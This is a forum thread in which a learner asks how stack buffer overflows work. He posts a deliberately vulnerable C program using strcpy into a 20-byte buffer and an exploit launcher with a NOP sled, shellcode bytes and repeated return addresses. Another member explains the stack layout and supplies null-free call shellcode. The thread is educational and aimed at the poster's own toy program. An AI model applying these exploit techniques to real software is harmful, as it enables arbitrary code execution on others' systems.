bufferover flow ?

Programming, for all ages and all languages.
Post Reply
User avatar
Sam111
Member
Member
Posts: 385
Joined: Mon Nov 03, 2008 6:06 pm

bufferover flow ?

Post by Sam111 »

I am trying to learn how these buffer over flows work

I have this exploit.c example

Code: Select all


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
 * 
 */

void bufferoverflow( char * ) ;
void printbufferoverflow() ;

int main(int argc, char** argv) {

    bufferoverflow( argv[0]) ;
    return (EXIT_SUCCESS);
}

void bufferoverflow( char *str)
{
    char buffer[20] ;
    strcpy(buffer,str) ;
    return ;
}



my code to exploit the exploit.c file

Code: Select all


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void printbufferoverflow()
{
    printf( "Hello buffer overflow success!" ) ;
    return;
}

int main(int argc, char** argv) {

    int addressofprintbufferoverflow = &printbufferoverflow;
    //now I have to call the exploit.c file passing an arg[0] as a string that will return me to printbufferoverflow
   //This is where I am having trouble understanding.
    return (EXIT_SUCCESS);
}


The exploit is given by this function

Code: Select all

void bufferoverflow( char *str)
{
    char buffer[20] ;
    strcpy(buffer,str) ;
    return ;
}
But if I overflow the buffer[20] this buffer is not on the stack so overflowing it.... I don't know how far to go to get to the return address of the stack. If that is the stratgy ... what happens if buffer[20] was placed before the stack then no amount of overflow would work since buffer[21] ,buffer[22] ,....etc would be farther away from the stack.

Assuming the buffer[20] is above the stack or configured in away such that the greater the [21] ,[22] , ...etc argument to buffer the close to the return address you will get.
Then it is just a matter of &buffer -&esp <-(stack of exploit.c)

The string I am crafting is a ton of NOP's (nop sled) followed by the code to return me to my print function
call printbufferoverflow followed by a ton of back to back return address to print functions just in case

Thanks for any help
TylerH
Member
Member
Posts: 285
Joined: Tue Apr 13, 2010 8:00 pm
Contact:

Re: bufferover flow ?

Post by TylerH »

You get an overflow if argv[0] is more than 20 chars(null and CRLFs included), is that what you're asking?

When you define "buffer[20]", it's the same thing as "sub esp, 20", you're just creating a stack frame, writing something to esp - 21(esp being the original, pre sub 20ed esp) is a buffer overflow because you're writing outside your defined stack based buffer.

Try looking at it on the asm level, it makes a lot more sense when you're watching from that perspective.
User avatar
Sam111
Member
Member
Posts: 385
Joined: Mon Nov 03, 2008 6:06 pm

Re: bufferover flow ?

Post by Sam111 »

well I thought the array was passed by reference not by value so only the address of the first element of the array is pushed on the stack.

The whole array does not have to be near the stack at all.

for instance calling
strcpy( buffer , str)

would be this in asm

Code: Select all

push str
push buffer
call strcpy

strcpy:
;do your string function code
ret 

esp --> points at the return address put on by the "call strcpy" statement so the key is to overflow the esp pointer to point to the address of your function or shellcode so that when ret command executes it jmps to your return address.

However my problem is how is overflowing the array buffer going to overflow the stack address ???

That is my problem
I don't understand if you have a buffer[0] ,....[100] ,...etc how do you know that eventually your going to overflow the stack. Is the varibles , array's ,...etc always structured so that if you go up in the index or address you will get closer to the stack???

If that is true then it is just a case of finding out how much I have to overflow the buffer varible to get to the stack return address. And I could do that if I used a bigger NOP sled... etc

Thanks
User avatar
Sam111
Member
Member
Posts: 385
Joined: Mon Nov 03, 2008 6:06 pm

Re: bufferover flow ?

Post by Sam111 »

On the stack the buffer[20] will be between some other stuff, among which is the return address to the calling function. Draw a picture of the stack and it will become obvious.
What , I thought the stack frame for strcpy function call only gets the address of buffer (pass by reference)

And buffer either is in some data segment like .rodata or something.

But how is overflowing .rodata segment going to overflow the stack segment/strcpy return address.

This my problem not C

Anyway in my shellcode I just want to call my print function so I would believe all I need for shellcode is
call myprintfunctionadrress

Code: Select all

1. 0xE8: CALL rel32 - Call near, relative, displacement
2. 0xFF /2: CALL r/m32 - Call near, absolute indirect, address in r/m32
3. 0x9A: CALL ptr16:32 - Call far, absolute, address in operand
4. 0xFF /3: CALL m16:32 - Call far, absolute indirect address in m16:32
I believe the best bet is to use 0xFF and the address of the function
so in my case I printed out my address of the function and it seems to always be located at 0x8048600
this fix address everytime I execute the program.

so I am wondering would the shellcode be , unsigned char shellcode[] ={ 0xFF , 0x08 , 0x04 , 0x86 , 0x00 } ;
or must I reverse the address like shellcode[] ={ 0xFF , 0x00 , 0x86 , 0x04 , 0x08 } ;

Here is my test_exploit function assuming overflowing the buffer[] will eventually overflow the stack return address.

Code: Select all


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void printbufferoverflow() ;
char shellcode[] = {  0xFF , 0x08 , 0x04 , 0x86 , 0x00 } ;

unsigned long sp()
{
__asm__("movl %esp , %eax") ; 
}

int main(int argc, char** argv) {

//print the address of the function I want to return to for the shellcode "call printbufferoverflow"
int *pptr = &printbufferoverflow;
printf("ptr = %p\n", (void*)pptr);

int i ,offset;
long esp,ret, *addr_ptr;
char * buffer = malloc(600) ;
char * ptr ;
ptr = buffer ;

offset = 0;
esp    = sp() ;
ret    = esp - offset;

addr_ptr = (long *)ptr ;

//add the return address again and again to the array we are going to feed exploit.c with. 
for( i = 0 ; i < 600 ; i+=4 )
{
*(addr_ptr++) = ret; 
}

//add the nop sled just incase we go to far out it will fall on this stuff and eventually get to execute the shellcode.  
for(i=0 ; i<200 ;i++)
{
buffer[i] = '\x90' ;
}


//add the shellcode to the 600 byte buffer we are going to feed exploit.c
ptr = buffer + 200 ;
for(i=0;i<strlen(shellcode);i++)
{
*(ptr++) = shellcode[i] ;
}

buffer[600-1] = '\0' ;

    execl("./exploit" , "exploit" , buffer , (char *) NULL ) ;
    free(buffer) ;
    return 0;
}


void printbufferoverflow()
{
    //hopefully the shellcode gets executed and returns me here!
    printf( "Hello buffer overflow success!" ) ;
    return;
}

Gigasoft
Member
Member
Posts: 856
Joined: Sat Nov 21, 2009 5:11 pm

Re: bufferover flow ?

Post by Gigasoft »

No, the buffer is not stored in the .rodata segment. The .rodata segment is for constant data, such as string constants. When an array is declared inside a function body, it is allocated on the stack. When a buffer is allocated using malloc, it resides at an address within the heap. Buffer overflows in the heap overwrite subsequent objects in the heap. They are more difficult to exploit than stack based overflows, since the addresses of structures allocated on the heap are less predictable. Your first post contains a stack based overflow. Reaching the stack by overflowing the heap depends on having the stack directly after the heap with no intervening invalid pages, which is not the default setup in modern operating systems.
What , I thought the stack frame for strcpy function call only gets the address of buffer (pass by reference)
It's not the stack frame of the strcpy function that is overwritten, it's the stack frame that contains the buffer, namely the stack frame of the function bufferoverflow in the first post. The stack frame might look like this:

Code: Select all

00 Return from strcpy
04 Address of buffer
08 str
0C buffer
10
14
18
1C
20 Return from bufferoverflow
24 str
28 Return from main
2C argc
30 argv
After 20 bytes have been copied, the next 4 bytes will overwrite the return from bufferoverflow. However, the compiler options used will affect this, so you don't know how it is laid out without looking at the disassembly.

The byte FF is the first byte of several unrelated instructions. FF 15 gh ef cd ab represents call dword ptr [abcdefgh], which is not the instruction you want unless the address of the function resides at address abcdefgh. You must use a direct call, such as call eax. You can't use a relative call if you don't know the value that esp will have. You can't have any zero bytes inside your string either, since that will mark the end of the string and cause strcpy to return immediately. You could use the following:

Code: Select all

or eax,-1
xor eax,0f7fb79ffh
call eax
This becomes 83 C8 FF 35 FF 79 FB F7 FF D0.

There is another problem. You are passing the address of the function "printbufferoverflow" within the text_exploit program to the exploit program. That won't work, you need to use the address of the "printbufferoverflow" that is inside the exploit program. This can be found by disassembly.

A way to transfer control to your shellcode is to find an instruction at a fixed address which transfers control to an address on the stack. For example, if the register ecx contains the address of the buffer when the function is about to return, you would look for the instructions call ecx or jmp ecx. If you find an instruction like call [esp+xx] or call [ebp+xx] which will refer to a stack location that happens to point to a lower stack location, you can use it.
User avatar
Sam111
Member
Member
Posts: 385
Joined: Mon Nov 03, 2008 6:06 pm

Re: bufferover flow ?

Post by Sam111 »

Ok, now I see so the varibles and arrays that are in a function get pushed on the stack and the ones that are create by new , malloc ,...etc are put on the heap. (key word is when you are already in a function local varibles get pushed on the stack)

Now it makes since on how the overflow happens.

I am still stuck a little on this
There is another problem. You are passing the address of the function "printbufferoverflow" within the text_exploit program to the exploit program. That won't work, you need to use the address of the "printbufferoverflow" that is inside the exploit program. This can be found by disassembly.

A way to transfer control to your shellcode is to find an instruction at a fixed address which transfers control to an address on the stack. For example, if the register ecx contains the address of the buffer when the function is about to return, you would look for the instructions call ecx or jmp ecx. If you find an instruction like call [esp+xx] or call [ebp+xx] which will refer to a stack location that happens to point to a lower stack location, you can use it.
in my code don't I want the return address to return me to my shellcode.
When I supply exploit with my buffer it should overflow the stack with the return address of the current stack pointer since right after the overflowed return address on the stack my shellcode will be ...

Or I guess instead of creating shellcode could I just overflow the return address to return me to 0x8048600
Because I think it is redundant to overflow the stack to where the shellcode is and then have the shellcode call my function.
Why not just overflow the return address on the stack with 0x8048600 that would do it.

What is the purpose of even having shellcode just vary the nop sled and return address's and you should beable to get to any function you want then code from their.
There is another problem. You are passing the address of the function "printbufferoverflow" within the text_exploit program to the exploit program.
That won't work, you need to use the address of the "printbufferoverflow" that is inside the exploit program. This can be found by disassembly
printbufferoverflow is a function only in my test_exploit code not in the exploit code?
printbufferoverflow = 0x8048600

are you saying in my test_exploit when I put duplicate ret in the buffer[600] I should be putting the 0x8048600
Then why even have the shellcode won't the return address being overflowed with 0x8048600 return me to printbufferoverflow in my test_exploit.

I get that if printbufferoverflow does not exist in exploit code the overflowing the stack you must either overflow the stack with a return address of printbufferoverflow or a return address of the shellcode.
If I do the later then I should return to the current stack address where the shellcode begins which is right after the return address.

Thanks
Gigasoft
Member
Member
Posts: 856
Joined: Sat Nov 21, 2009 5:11 pm

Re: bufferover flow ?

Post by Gigasoft »

Yes, you can just overwrite the return address with the address of printbufferoverflow directly, but it can't be the printbufferoverflow that is defined in the test_exploit program, since the test_exploit program is unloaded when the exploit program is loaded into the process.
Post Reply